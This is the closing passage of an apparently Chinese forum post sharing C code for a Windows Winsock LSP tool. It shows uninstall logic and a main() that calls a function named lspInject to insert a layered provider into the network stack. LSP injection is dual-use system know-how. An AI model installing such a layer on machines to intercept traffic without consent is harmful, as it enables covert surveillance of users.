- }
- }
-
- if (WSCWriteProviderOrder(chainId, cindex) != 0)
- {
- free(info);
- free(chainId);
- return 0;
- }
-
-
- free(info);
- free(chainId);
- return 1;
-
-
- }
-
- DWORD uninstall()
- {
- if(findGuid()==0)
- {
- return 0;
- }
- //枚举winsock目录中的协议
- LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
- DWORD size = 0; //大小
- DWORD num; //数量
- DWORD Id;
- DWORD result;
- int cc; //作为错误码,下面2个函数的错误码地址必须提供,否则会调用失败
- WSCEnumProtocols(0, 0, &size, 0);
- info = (LPWSAPROTOCOL_INFOW)malloc(size);
- num = WSCEnumProtocols(0, info, &size, 0);
- if (num == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
- int i = 0;
-
- for (i=0; i < num; i++)
- {
- if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0)
- {
- Id = info[i].dwCatalogEntryId;
- }
- }
- if (i<=num)
- {
- for (i = 0; i < num; i++)
- {
- if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id))
- {
-
- if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR)
- {
-
- free(info);
- return 0;
- }
- break;
- }
- }
- free(info);
- if((result=WSCDeinstallProvider(&layerGuid, &cc))==SOCKET_ERROR)
- {return 0;
- }
- }
- else
- {
- free(info);
- return 0;
- }return 1;
- }
- int main(int argc, char** argv)
- {
- setlocale(LC_ALL, "chs");
- int result;
- if (argc!=2)
- {
- printf("usage:%s install or uninstall\n", argv[0]);
- return 0;
- }
- if (strcmp(argv[1],"install")==0)
- {
- if (lspInject())
- {
- printf("install success\n");
- }
- else
- {
- printf("install error code is %d\n", GetLastError());
- }
- }
- else if(strcmp(argv[1], "uninstall") == 0)
- {
- if (uninstall())
- {
- printf("uninstall success\n");
- }
- else
- {
- printf("uninstall error code is %d\n", GetLastError());
- }
- }
-
- return 1;
-
- }
复制代码结语
待续…………有空再更新!!!
官方网站
www.CHWM.vip
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |